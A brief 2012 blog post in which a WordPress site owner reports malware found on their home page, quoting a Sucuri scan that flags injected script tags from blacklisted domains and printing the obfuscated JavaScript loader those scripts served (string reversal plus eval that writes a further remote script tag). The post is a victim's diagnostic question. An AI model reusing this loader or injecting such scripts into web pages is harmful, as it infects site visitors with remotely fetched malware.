Friday, March 30, 2012

page malware

found this on my wordpress index page

how did it embed into the home page?


Anomaly behavior detected (possible malware).
Details: http://sucuri.net/malware/malware-entry-

mwanomalysp8
< script type="text/javascript"

src="http://ninjutsu.ws/js/">
< script type="text/javascript"

src="http://abellacasa.com.br/_str/">

Javascript included from a blacklisted domain.
Details: http://sucuri.net/malware/entry/MW:BLK:2
Javascript: abellacasa.com.br


http://ninjutsu.ws/js/
function r(s) { var i = 0; var ss = ''; for (i=s.length

- 1; i >= 0; i--) { ss += s.charAt(i); } return ss; }

try { new document(1111); } catch(e) { x = eval; x(r

('"=crs "tpircsavaj/txet"=epyt

tpircs<\'(etirw.tnemucod') +

'http://ninjutsu.ws/js/1.js' + r(')\'>tpircs/<>"')); }